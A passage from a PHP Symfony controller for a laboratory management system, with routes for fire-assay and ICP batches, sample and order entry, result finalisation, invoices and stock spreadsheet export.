  1492. * @Route("/fassayprelim", name="fassayprelim")
  1493. * @param Request $request
  1494. * @return Response $response
  1495. */
  1496. public function fassayprelim(Request $request){
  1497. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1498. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1499. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1500. // ]);
  1501. /* @var QueryBuilder $qb */
  1502. $qb = $this->em->createQueryBuilder();
  1503. $qb->select('a,b,c');
  1504. $qb->from(PRun::class, 'a');
  1505. $qb->leftJoin('a.assignedSample', 'b');
  1506. $qb->leftJoin('b.assignedOrder', 'c');
  1507. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1508. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1509. $qb->andWhere('c.WNJ = TRUE');
  1510. }
  1511. $prelims=$qb->getQuery()->getResult();
  1512. $data = $request->request->all();
  1513. if ( $request->isMethod("post") ) {
  1514. if (null !== $request->get('newfabatch')) {
  1515. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1516. $info2 = $data['chkids'];
  1517. $newbatch = new FABatch();
  1518. $newbatch->setDate(new \DateTime());
  1519. $this->em->persist($newbatch);
  1520. foreach ($info2 as $j) {
  1521. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1522. 'id' => $j
  1523. ]);
  1524. $icprundummy->setAssignedFABatch($newbatch);
  1525. $this->em->persist($icprundummy);
  1526. }
  1527. $this->em->flush();
  1528. return $this->redirect($this->generateUrl('fassayprelim'));
  1529. }
  1530. }
  1531. }
  1532. return $this->render('cats/fassayprelim.html.twig',[
  1533. 'pruns' => $prelims,
  1534. 'fabatches' => $fabatches
  1535. ]);
  1536. }
  1537. //=====================================================================================================================================================================================<
  1538. /**
  1539. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1540. * @Route("/fassayreg/{type}", name="fassayreg")
  1541. * @param string $type
  1542. * @param Request $request
  1543. * @return Response $response
  1544. */
  1545. public function fassayreg(string $type, Request $request)
  1546. {
  1547. // /* @var QueryBuilder $qb */
  1548. // $qb = $this->em->createQueryBuilder();
  1549. // $qb->select('a,b,c');
  1550. // $qb->from(RRun::class, 'a');
  1551. // $qb->leftJoin('a.assignedSample', 'b');
  1552. // $qb->leftJoin('b.assignedOrder', 'c');
  1553. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1554. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1555. // $qb->andWhere('c.WNJ = TRUE');
  1556. // }
  1557. // $rruns = ($qb->getQuery()->getResult());
  1558. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1559. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1560. $data = $request->request->all();
  1561. if ( $request->isMethod("post") ) {
  1562. if (null !== $request->get('newbatch')) {
  1563. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1564. $info2 = $data['chkids'];
  1565. $newbatch = new DISQBatch();
  1566. $newbatch->setDate(new \DateTime());
  1567. $newbatch->setStatus('');
  1568. $this->em->persist($newbatch);
  1569. foreach ($info2 as $j) {
  1570. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1571. 'id' => $j
  1572. ]);
  1573. if ($icprundummy->getStatus()=='DIS Q') {
  1574. $icprundummy->setAssignedDISQBatch($newbatch);
  1575. $this->em->persist($icprundummy);
  1576. }
  1577. }
  1578. $this->em->flush();
  1579. return $this->redirect($this->generateUrl('fassayreg'));
  1580. }
  1581. }
  1582. if (null !== $request->get('unassignbatch')) {
  1583. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1584. $info2 = $data['chkids'];
  1585. foreach ($info2 as $j) {
  1586. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1587. 'id' => $j
  1588. ]);
  1589. $icprundummy->setAssignedDISQBatch(NULL);
  1590. $this->em->persist($icprundummy);
  1591. }
  1592. $this->em->flush();
  1593. return $this->redirect($this->generateUrl('fassayreg'));
  1594. }
  1595. }
  1596. return $this->redirect($this->generateUrl('fassayreg'));
  1597. }
  1598. return $this->render('cats/fassayreg.html.twig',[
  1599. // 'rruns' => $rruns,
  1600. 'batches' => $batches,
  1601. 'fabatches' => $fabatches
  1602. ]);
  1603. }
  1604. //=====================================================================================================================================================================================<
  1605. /**
  1606. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1607. * @Route("/icp", name="icp")
  1608. * @param Request $request
  1609. * @return Response $response
  1610. */
  1611. public function icp(Request $request)
  1612. {
  1613. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1614. return $this->render('cats/icp.html.twig',[
  1615. 'batches' => $batches,
  1616. ]);
  1617. }
  1618. //=====================================================================================================================================================================================<
  1619. /**
  1620. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1621. * @Route("/icprecent", name="icprecent")
  1622. * @param Request $request
  1623. * @return Response $response
  1624. */
  1625. public function icprecent(Request $request)
  1626. {
  1627. return $this->render('cats/icprecent.html.twig',[
  1628. 'icpruns' => []
  1629. ]);
  1630. }
  1631. //=====================================================================================================================================================================================<
  1632. /**
  1633. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1634. * @Route("/icpall", name="icpall")
  1635. * @param Request $request
  1636. * @return Response $response
  1637. */
  1638. public function icpall(Request $request)
  1639. {
  1640. return $this->render('cats/icpall.html.twig',[
  1641. 'icpruns' => []
  1642. ]);
  1643. }
  1644. //=====================================================================================================================================================================================<
  1645. /**
  1646. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1647. * @Route("/fassayregarchive", name="fassayregarchive")
  1648. * @param Request $request
  1649. * @return Response $response
  1650. */
  1651. public function fassayregarchive(Request $request)
  1652. {
  1653. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1654. // 'status' => ['Archived']
  1655. //]);
  1656. return $this->render('cats/fassayregarchive.html.twig',[
  1657. //'rruns' => $rruns
  1658. ]);
  1659. }
  1660. //=====================================================================================================================================================================================<
  1661. /**
  1662. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1663. * @Route("/fassayregrecent", name="fassayregrecent")
  1664. * @param Request $request
  1665. * @return Response $response
  1666. */
  1667. public function fassayregrecent(Request $request)
  1668. {
  1669. return $this->render('cats/fassayregrecent.html.twig',[]);
  1670. }
  1671. //=====================================================================================================================================================================================<
  1672. /**
  1673. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1674. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1675. * @param Request $request
  1676. * @return Response $response
  1677. */
  1678. public function fassaypreliminaryarchive(Request $request)
  1679. {
  1680. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1681. // 'status' => ['Archived']
  1682. // ]);
  1683. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1684. }
  1685. //=====================================================================================================================================================================================<
  1686. /**
  1687. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1688. * @param Request $request
  1689. * @Route("cats/addCatSamples", name="addCatSamples")
  1690. * @return Response $response
  1691. */
  1692. public function addCatSamples(Request $request, ExportCountryRelationService $relationService)
  1693. {
  1694. if ( $request->isMethod("post") ) {
  1695. $info = $request->get('entry');
  1696. //dump($info);
  1697. $samplenames = [];
  1698. $date = $request->get('date');
  1699. foreach($info as $j){
  1700. $entry = new Inventory();
  1701. $entry->setDateofreceipt(new \DateTime($date));
  1702. $entry->setSampleType($j['type']);
  1703. $entry->setSampleSubType($j['subtype']);
  1704. $entry->setSampleName($j['name']);
  1705. $entry->setAddedtocatalogue(false);
  1706. array_push($samplenames, $j['name']);
  1707. $entry->setPriority('Normal');
  1708. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1709. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1710. }
  1711. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1712. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1713. }
  1714. $entry->setMillStatus("Original");
  1715. $entry->setAnalysisStatus("None");
  1716. $entry->setXrfStatus("To Add");
  1717. $entry->setCountry($j['country']);
  1718. $entry->setExportno($j['export']);
  1719. $entry->setReady(false);
  1720. $this->em->persist($entry);
  1721. }
  1722. $log = new Log();
  1723. $log->setDate(new \DateTime());
  1724. $log->setType('Added Samples');
  1725. $log->setText('New samples were added');
  1726. $log->setAssignedUser($this->getUser());
  1727. $log->setText2(implode(",", $samplenames));
  1728. $this->em->persist($log);
  1729. $this->em->flush();
  1730. return $this->redirect($this->generateUrl('inventory'));
  1731. }
  1732. $relationViewData = $relationService->getViewData();
  1733. return $this->render('cats/addsamples.html.twig', [
  1734. 'exportCountryLookup' => $relationViewData['lookup'],
  1735. ]);
  1736. }
  1737. //=====================================================================================================================================================================================<
  1738. /**
  1739. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1740. * @param Request $request
  1741. * @Route("cats/addCatOrders", name="addCatOrders")
  1742. * @return Response $response
  1743. */
  1744. public function addCatOrders(Request $request)
  1745. {
  1746. if ( $request->isMethod("post") ) {
  1747. $info = $request->get('entry');
  1748. //dump($info);
  1749. $date = $request->get('date');
  1750. //dump($date);
  1751. $entry = new Orders();
  1752. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1753. $entry->setOrderno(strtoupper($info['orderno']));
  1754. $entry->setSender($info['sender']);
  1755. $entry->setMReceive((float)$info['mreceive']);
  1756. $entry->setClient($info['client']);
  1757. $entry->setStatus('Open');
  1758. $entry->setWaybill($info['wb']);
  1759. $entry->setCourrier($info['courrier']);
  1760. $this->em->persist($entry);
  1761. $this->em->flush();
  1762. return $this->redirect($this->generateUrl('orders'));
  1763. }
  1764. return $this->render('cats/addorders.html.twig');
  1765. }
  1766. //=====================================================================================================================================================================================<
  1767. /**
  1768. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1769. * @param Request $request
  1770. * @Route("/incomingorders", name="incomingorders")
  1771. * @return Response $response
  1772. */
  1773. public function incomingorders(Request $request)
  1774. {
  1775. if ( $request->isMethod("post") ) {
  1776. $info = $request->get('entry');
  1777. //dump($info);
  1778. $date = $request->get('date');
  1779. //dump($date);
  1780. $entry = new Orders();
  1781. $entry->setDateofreceipt(new \DateTime($date));
  1782. $entry->setOrderno(strtoupper($info['orderno']));
  1783. $entry->setSender($info['sender']);
  1784. $entry->setClient($info['client']);
  1785. $entry->setStatus('Open');
  1786. $entry->setWaybill($info['wb']);
  1787. $entry->setCourrier($info['courrier']);
  1788. $this->em->persist($entry);
  1789. $this->em->flush();
  1790. return $this->redirect($this->generateUrl('orders'));
  1791. }
  1792. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  1793. return $this->render('cats/incomingorders.html.twig',[
  1794. 'orders' => $orders
  1795. ]);
  1796. }
  1797. //=====================================================================================================================================================================================<
  1798. /**
  1799. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1800. * @param Request $request
  1801. * @Route("/orders", name="orders")
  1802. * @return Response $response
  1803. */
  1804. public function orders(Request $request)
  1805. {
  1806. /* @var QueryBuilder $qb */
  1807. $qb = $this->em->createQueryBuilder();
  1808. $qb->select('a');
  1809. $qb->from(Orders::class, 'a');
  1810. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1811. $qb->where('a.WNJ = TRUE');
  1812. }
  1813. $orders = ($qb->getQuery()->getResult());
  1814. if ( $request->isMethod("post") ) {
  1815. if (null !== $request->get('edit')){
  1816. $info = $request->get('ids');
  1817. //dump($request);
  1818. //dump($info);
  1819. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  1820. 'id' => $info
  1821. ]);
  1822. return $this->render('cats/editorders.html.twig', [
  1823. 'orders' => $editorders
  1824. ]);
  1825. }
  1826. if (null !== $request->get('editconfirm')){
  1827. $info = $request->get('entry');
  1828. foreach($info as $j) {
  1829. $date = $request->get('date');
  1830. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  1831. /** @var Orders $entry */
  1832. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  1833. $entry->setOrderno($j['orderno']);
  1834. $entry->setMReceive((float)$j['mreceive']);
  1835. $entry->setSender($j['sender']);
  1836. $entry->setClient($j['client']);
  1837. $entry->setWaybill($j['wb']);
  1838. if ($j['mdisposed'] > 0){
  1839. $entry->setMDisposed((float)$j['mdisposed']);
  1840. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  1841. }
  1842. $entry->setCourrier($j['courrier']);
  1843. $this->em->persist($entry);
  1844. }
  1845. $this->em->flush();
  1846. return $this->redirect($this->generateUrl('orders'));
  1847. }
  1848. }
  1849. return $this->render('cats/orders.html.twig',[
  1850. 'orders' => $orders
  1851. ]);
  1852. }
  1853. //=====================================================================================================================================================================================<
  1854. /**
  1855. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1856. * @param Request $request
  1857. * @Route("/tasks", name="tasks")
  1858. * @return Response $response
  1859. */
  1860. public function tasks(Request $request)
  1861. {
  1862. /** @var Inventory $inv */
  1863. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  1864. /** @var Orders $orders */
  1865. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1866. /** @var Inventory $priority */
  1867. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1868. 'priority' => "High",
  1869. 'analysisStatus' => ["In Progress","To Start"]
  1870. ]);
  1871. /** @var Inventory $milllist */
  1872. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1873. 'millStatus' => "To Mill"
  1874. ]);
  1875. /** @var Inventory $milllist */
  1876. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1877. 'analysisStatus' => ["In Progress","To Start"]
  1878. ]);
  1879. /** @var PRun $prunweighq */
  1880. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1881. 'status' => "Weigh Q"
  1882. ]);
  1883. /** @var RRun $rrunweighq */
  1884. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1885. 'status' => "Weigh Q"
  1886. ]);
  1887. /** @var PRun $prunfaq */
  1888. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1889. 'status' => "FA Q"
  1890. ]);
  1891. /** @var RRun $rrunfaq */
  1892. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1893. 'status' => "FA Q"
  1894. ]);
  1895. /** @var RRun $rruncupq */
  1896. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1897. 'status' => "CUP Q"
  1898. ]);
  1899. /** @var RRun $rrundisq */
  1900. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  1901. 'status' => "DIS Q"
  1902. ]);
  1903. /** @var Inventory $xrfq */
  1904. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1905. 'xrfStatus' => "To Add"
  1906. ]);
  1907. return $this->render('cats/tasks.html.twig',[
  1908. 'orders' => $orders,
  1909. 'inventory' => $inv,
  1910. 'priority' => $priority,
  1911. 'milllist' => $milllist,
  1912. 'openlist' => $openlist,
  1913. 'prunweighq' => $prunweighq,
  1914. 'rrunweighq' => $rrunweighq,
  1915. 'rrunfaq' => $rrunfaq,
  1916. 'prunfaq' => $prunfaq,
  1917. 'rruncupq' => $rruncupq,
  1918. 'rrundisq' => $rrundisq,
  1919. 'xrfq' => $xrfq
  1920. ]);
  1921. }
  1922. //=====================================================================================================================================================================================<
  1923. /**
  1924. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1925. * @param Request $request
  1926. * @Route("/log", name="log")
  1927. * @return Response $response
  1928. */
  1929. public function log(Request $request)
  1930. {
  1931. /** @var Log $inv */
  1932. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  1933. return $this->render('cats/log.html.twig',[
  1934. //'log' => $log
  1935. ]);
  1936. }
  1937. //=====================================================================================================================================================================================<
  1938. /**
  1939. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1940. * @param Request $request
  1941. * @Route("/cp", name="cp")
  1942. * @return Response $response
  1943. */
  1944. public function cp(Request $request)
  1945. {
  1946. /** @var Inventory $samples */
  1947. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1948. 'analysisStatus' => ['In Progress', 'Flagged']
  1949. ],[
  1950. 'id' => 'ASC'
  1951. ]);
  1952. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  1953. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1954. /* @var QueryBuilder $qb */
  1955. $qb = $this->em->createQueryBuilder();
  1956. $qb->select('a');
  1957. $qb->from(Inventory::class, 'a');
  1958. $qb->leftJoin('a.assignedOrder', 'b');
  1959. $qb->leftJoin('a.rruns', 'c');
  1960. $qb->leftJoin('c.icpruns', 'd');
  1961. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  1962. $qb->andWhere('d.icppt IS NOT NULL');
  1963. $qb->andWhere('b.WNJ = TRUE');
  1964. //$qb->andWhere('d.icppt IS NOT NULL');
  1965. $samples = ($qb->getQuery()->getResult());
  1966. } else {
  1967. /* @var QueryBuilder $qb */
  1968. $qb = $this->em->createQueryBuilder();
  1969. $qb->select('a');
  1970. $qb->from(Inventory::class, 'a');
  1971. $qb->leftJoin('a.assignedOrder', 'b');
  1972. $qb->leftJoin('a.rruns', 'c');
  1973. $qb->leftJoin('c.icpruns', 'd');
  1974. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  1975. $qb->andWhere('d.icppt IS NOT NULL');
  1976. //$qb->andWhere('d.icppt IS NOT NULL');
  1977. $samples = ($qb->getQuery()->getResult());
  1978. }
  1979. if ( $request->isMethod("post") ) {
  1980. $data = $request->request->all();
  1981. if (null !== $request->get('finalize')){
  1982. if (array_key_exists('chkids',$data)) {
  1983. foreach ($data['chkids'] as $j) {
  1984. /** @var Inventory $sample */
  1985. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  1986. 'id' => $j
  1987. ]);
  1988. foreach ($sample->getRruns() as $k) {
  1989. /** @var RRun $k */
  1990. $k->setStatus('Archived');
  1991. $this->em->persist($k);
  1992. foreach ($k->getIcpruns() as $l) {
  1993. /** @var RRun $l */
  1994. $l->setStatus('Archived');
  1995. $this->em->persist($l);
  1996. }
  1997. }
  1998. $sample->setDateFinished(new \DateTime());
  1999. $sample->setAnalysisStatus('Completed');
  2000. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2001. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2002. $sample->setIcprh($data['entry'][$j]['avgrh']);
  2003. $this->em->persist($sample);
  2004. $this->em->flush();
  2005. }
  2006. }
  2007. return $this->redirect($this->generateUrl('cp'));
  2008. }
  2009. if (null !== $request->get('finalizemaxrh')){
  2010. if (array_key_exists('chkids',$data)) {
  2011. foreach ($data['chkids'] as $j) {
  2012. /** @var Inventory $sample */
  2013. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2014. 'id' => $j
  2015. ]);
  2016. foreach ($sample->getRruns() as $k) {
  2017. /** @var RRun $k */
  2018. $k->setStatus('Archived');
  2019. $this->em->persist($k);
  2020. foreach ($k->getIcpruns() as $l) {
  2021. /** @var RRun $l */
  2022. $l->setStatus('Archived');
  2023. $this->em->persist($l);
  2024. }
  2025. }
  2026. foreach ($sample->getMoists() as $i){
  2027. /** @var Moists $i*/
  2028. $i->setStatus('Archived');
  2029. $this->em->persist($i);
  2030. }
  2031. $sample->setDateFinished(new \DateTime());
  2032. $sample->setAnalysisStatus('Completed');
  2033. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2034. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2035. $sample->setIcprh($data['entry'][$j]['maxrh']);
  2036. $this->em->persist($sample);
  2037. $this->em->flush();
  2038. }
  2039. }
  2040. return $this->redirect($this->generateUrl('cp'));
  2041. }
  2042. if (null !== $request->get('finalizemaxrhcustom')){
  2043. if (array_key_exists('chkids',$data)) {
  2044. foreach ($data['chkids'] as $j) {
  2045. /** @var Inventory $sample */
  2046. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2047. 'id' => $j
  2048. ]);
  2049. foreach ($sample->getRruns() as $k) {
  2050. /** @var RRun $k */
  2051. $k->setStatus('Archived');
  2052. $this->em->persist($k);
  2053. foreach ($k->getIcpruns() as $l) {
  2054. /** @var RRun $l */
  2055. $l->setStatus('Archived');
  2056. $this->em->persist($l);
  2057. }
  2058. }
  2059. foreach ($sample->getMoists() as $i){
  2060. /** @var Moists $i*/
  2061. $i->setStatus('Archived');
  2062. $this->em->persist($i);
  2063. }
  2064. $sample->setDateFinished(new \DateTime());
  2065. $sample->setAnalysisStatus('Completed');
  2066. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2067. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2068. $sample->setIcprh($data['entry'][$j]['maxrh']*0.996);
  2069. $this->em->persist($sample);
  2070. $this->em->flush();
  2071. }
  2072. }
  2073. return $this->redirect($this->generateUrl('cp'));
  2074. }
  2075. if (null !== $request->get('flag')){
  2076. $info = $request->get('entry');
  2077. foreach($data['chkids'] as $j){
  2078. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2079. 'id' => $j
  2080. ]);
  2081. $sample->setAnalysisStatus('Flagged');
  2082. $this->em->persist($sample);
  2083. $this->em->flush();
  2084. }
  2085. return $this->redirect($this->generateUrl('cp'));
  2086. }
  2087. }
  2088. return $this->render('cats/cp.html.twig',[
  2089. 'inventory' => $samples,
  2090. ]);
  2091. }
  2092. //=====================================================================================================================================================================================<
  2093. /**
  2094. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2095. * @param Request $request
  2096. * @Route("/invoices", name="invoices")
  2097. * @return Response $response
  2098. */
  2099. public function invoices(Request $request)
  2100. {
  2101. $qb = $this->em->createQueryBuilder();
  2102. $qb->setCacheable(false);
  2103. $qb->select('i');
  2104. $qb->from(Invoice::class,'i');
  2105. $qb->leftJoin('i.orders', 'o');
  2106. $qb->leftJoin('o.samples', 's');
  2107. $qb->where("i.status = 'Open'");
  2108. $invoices = $qb->getQuery()->getResult();
  2109. $qb = $this->em->createQueryBuilder();
  2110. $qb->setCacheable(false);
  2111. $qb->select('i');
  2112. $qb->from(Invoice::class, 'i');
  2113. $qb->leftJoin('i.orders', 'o');
  2114. $qb->leftJoin('o.samples', 's');
  2115. $qb->where("i.status = 'Closed'");
  2116. $allClosedInvoices = $qb->getQuery()->getResult();
  2117. // Create a DateTime object for one year ago
  2118. $oneYearAgo = new \DateTime();
  2119. $oneYearAgo->modify('-1 year');
  2120. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2121. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2122. /** @var Invoice $invoice */
  2123. $orders = $invoice->getOrders();
  2124. // If there are no orders, keep the invoice by default
  2125. if (count($orders) === 0) {
  2126. return true;
  2127. }
  2128. // Check if at least one order is newer than one year ago
  2129. foreach ($orders as $order) {
  2130. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2131. return true;
  2132. }
  2133. }
  2134. return false;
  2135. });
  2136. if ($request->isMethod("post")) {
  2137. $data = $request->request->all();
  2138. if (null !== $request->get('newinvoice')){
  2139. $invoice = new Invoice();
  2140. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2141. $invoice->setAmount((float)$data['entry']['amount']);
  2142. $invoice->setCurrency($data['entry']['currency']);
  2143. $invoice->setRecipient($data['entry']['recipient']);
  2144. $invoice->setStatus('Open');
  2145. $this->em->persist($invoice);
  2146. $this->em->flush();
  2147. return $this->redirect($this->generateUrl('invoices'));
  2148. }
  2149. if (null !== $request->get('editamount')){
  2150. $invoiceid = $data['invoiceid'];
  2151. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2152. 'id' => $invoiceid
  2153. ]);
  2154. $invoice->setInvoiceno($data['invoiceno']);
  2155. $invoice->setAmount((float)$data['amount']);
  2156. $invoice->setCurrency($data['currency']);
  2157. $invoice->setRecipient($data['recipient']);
  2158. $this->em->persist($invoice);
  2159. $this->em->flush();
  2160. return $this->redirect($this->generateUrl('invoices'));
  2161. }
  2162. if (null !== $request->get('unassignorder')){
  2163. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2164. 'id' => $data['orderid']
  2165. ]);
  2166. $temporder->setAssignedInvoice(Null);
  2167. $this->em->persist($temporder);
  2168. $this->em->flush();
  2169. return new Response("success");
  2170. }
  2171. if (null !== $request->get('deleteinvoice')){
  2172. $invoiceid = $data['invoiceid'];
  2173. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2174. 'id' => $invoiceid
  2175. ]);
  2176. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2177. 'assignedInvoice' => $invoice
  2178. ]);
  2179. foreach ($ordersdel as $j){
  2180. $j->setAssignedInvoice(NULL);
  2181. $this->em->persist($j);
  2182. $this->em->flush();
  2183. }
  2184. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2185. 'id' => $invoiceid
  2186. ]);
  2187. $this->em->remove($invoice);
  2188. $this->em->flush();
  2189. return $this->redirect($this->generateUrl('invoices'));
  2190. }
  2191. }
  2192. if (null !== $request->get('closeinvoice')){
  2193. $invoiceid = $data['invoiceid'];
  2194. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2195. 'id' => $invoiceid
  2196. ]);
  2197. $invoice->setStatus('Closed');
  2198. $this->em->persist($invoice);
  2199. $this->em->flush();
  2200. return $this->redirect($this->generateUrl('invoices'));
  2201. }
  2202. return $this->render('cats/invoices.html.twig', [
  2203. 'invoices' => $invoices,
  2204. 'closedinvoices' => array_reverse($closedinvoices)
  2205. ]);
  2206. }
  2207. //=====================================================================================================================================================================================<
  2208. /**
  2209. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2210. * @param Request $request
  2211. * @Route("/stock/download", name="stock_download")
  2212. * @return Response $response
  2213. */
  2214. public function downloadXlsx(Request $request)
  2215. {
  2216. $type = $request->query->get('type'); // Get type
  2217. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2218. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2219. $toDate = $request->query->get('toDate'); // Get to-date filter
  2220. // Decode JSON string into array if necessary
  2221. if (is_string($stockIds)) {
  2222. $stockIds = json_decode($stockIds, true);
  2223. }
  2224. $currentDate = (new \DateTime())->format('ymdHis');
  2225. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2226. // Create a new Spreadsheet
  2227. $spreadsheet = new Spreadsheet();
  2228. $sheet = $spreadsheet->getActiveSheet();
  2229. // Add headers
  2230. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2231. $sheet->fromArray($headers, null, 'A1', true);
  2232. // Fetch data from StockManagement repository
  2233. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2234. // Populate data rows
  2235. $row = 2; // Start after headers
  2236. foreach ($stockManagements as $entry) {
  2237. $sheet->fromArray([
  2238. $entry->getId(),
  2239. $entry->getStockId(),
  2240. $entry->getStockName(),
  2241. $entry->getSupplier(),
  2242. $entry->getComment(),
  2243. $entry->getStockType(),
  2244. $entry->getActionType(),
  2245. $entry->getQuantity(),
  2246. $entry->getTotalQuantity(),
  2247. $entry->getDate()->format('Y-m-d H:i:s'),
  2248. ], null, 'A' . $row, true);
  2249. $row++;
  2250. }
  2251. // Generate the Excel file
  2252. $writer = new Xlsx($spreadsheet);
  2253. // Prepare the response
  2254. $response = new StreamedResponse(function () use ($writer) {
  2255. $writer->save('php://output');
  2256. });
  2257. // Set headers for Excel download
  2258. $response->setStatusCode(200);
  2259. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2260. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2261. return $response;
  2262. }
  2263. //=====================================================================================================================================================================================<
  2264. /**
  2265. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2266. * @param Request $request
  2267. * @Route("/stock", name="stock")
  2268. * @return Response $response
  2269. */
  2270. public function stock(Request $request)
  2271. {
  2272. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2273. 'type' => 'Reagent'
  2274. ]);
